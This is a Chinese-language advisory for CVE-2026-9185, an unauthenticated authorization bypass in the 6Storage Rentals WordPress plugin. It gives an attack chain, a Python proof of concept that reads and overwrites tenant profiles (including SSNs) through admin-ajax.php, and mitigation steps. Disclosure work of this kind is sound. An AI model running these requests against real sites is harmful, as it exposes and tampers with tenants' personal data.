IPBUF安全漏洞报告
English
CVE-2026-9185 CVSS 7.5 高危

CVE-2026-9185 | 6Storage Rentals WordPress插件授权绕过漏洞

披露日期: 2026-06-09

漏洞信息

漏洞编号
CVE-2026-9185
漏洞类型
授权绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
6Storage Rentals WordPress插件

相关标签

授权绕过WordPress插件漏洞6Storage RentalsCVE-2026-9185敏感信息泄露身份验证缺陷AJAX安全高危漏洞

漏洞概述

CVE-2026-9185是WordPress平台下6Storage Rentals插件中的一个高危授权绕过漏洞。该漏洞存在于插件的AJAX处理函数中,由于`wp_ajax_nopriv_*`钩子上注册的`six_storage_getUserInfo()`和`six_storage_updateProfile()`函数直接接收并使用来自`$_POST['userId']`参数的用户标识,而未进行任何所有权验证、会话绑定或nonce验证,导致任何未认证攻击者可以通过构造恶意请求,传入任意租户ID来读取或修改该租户的个人信息。攻击者可利用此漏洞获取受害者的敏感个人信息,包括姓名、邮箱地址、电话号码、物理地址乃至社会安全号码(SSN)。由于该漏洞无需认证即可利用,且攻击复杂度低,对使用该插件的WordPress网站构成严重安全威胁。

技术细节

漏洞根源在于6Storage Rentals插件的权限控制机制缺陷。插件在WordPress的AJAX处理流程中,将`six_storage_getUserInfo()`和`six_storage_updateProfile()`两个敏感函数注册到`wp_ajax_nopriv_*`钩子上,这意味着未登录用户也能触发这些AJAX动作。然而,这两个函数在处理请求时,仅提取`$_POST['userId']`参数作为租户标识直接使用,完全跳过了以下关键安全检查:(1)未验证请求者与目标userId之间是否存在合法关联;(2)未检查当前会话是否与目标租户绑定;(3)未进行CSRF nonce验证来确保请求来源可信。由于userId参数可通过暴力枚举或信息收集获取,攻击者可以遍历不同的userId值来访问任意租户账户。函数`six_storage_getUserInfo()`允许读取租户档案数据,而`six_storage_updateProfile()`则允许修改这些数据。攻击者可通过发送精心构造的POST请求,在无需任何认证凭证的情况下实现对目标用户敏感信息的完整读写操作。

攻击链分析

STEP 1
步骤1
攻击者识别目标网站使用的6Storage Rentals WordPress插件版本(≤2.22.0)
STEP 2
步骤2
攻击者收集或枚举目标租户的userId值(可通过其他渠道获取或暴力猜测)
STEP 3
步骤3
攻击者构造包含目标userId的恶意POST请求,发送到wp-admin/admin-ajax.php端点,action参数设为six_storage_get_user_info
STEP 4
步骤4
由于函数未验证请求者身份与userId的关联,服务器直接返回该userId对应的租户敏感信息(姓名、邮箱、电话、地址、SSN等)
STEP 5
步骤5
攻击者利用six_storage_update_profile action,同样通过未验证的userId参数修改目标租户的档案数据
STEP 6
步骤6
攻击者收集或滥用窃取的敏感个人信息进行身份盗窃、金融欺诈等后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9185 PoC - 6Storage Rentals Authorization Bypass # Read user info without authentication import requests target_url = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # PoC 1: Read arbitrary tenant profile information payload_read = { "action": "six_storage_get_user_info", "userId": "1" # Enumerable tenant ID } response = requests.post(target_url, data=payload_read) print("Read Response:", response.text) # PoC 2: Modify arbitrary tenant profile information payload_update = { "action": "six_storage_update_profile", "userId": "1", "name": "Hacked User", "email": "[email protected]", "phone": "1234567890", "address": "Malicious Address", "ssn": "123-45-6789" } response = requests.post(target_url, data=payload_update) print("Update Response:", response.text) # Note: Replace target URL and userId with actual values for testing authorized targets only

影响范围

6Storage Rentals WordPress插件 ≤ 2.22.0

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:(1)临时禁用6Storage Rentals插件或限制其功能访问;(2)使用WordPress防火墙插件(如Wordfence)添加规则阻止针对admin-ajax.php的恶意请求;(3)通过Web应用防火墙(WAF)限制对six_storage_get_user_info和six_storage_update_profile AJAX动作的访问,仅允许已认证用户访问;(4)监控服务器日志,排查异常的admin-ajax.php请求模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表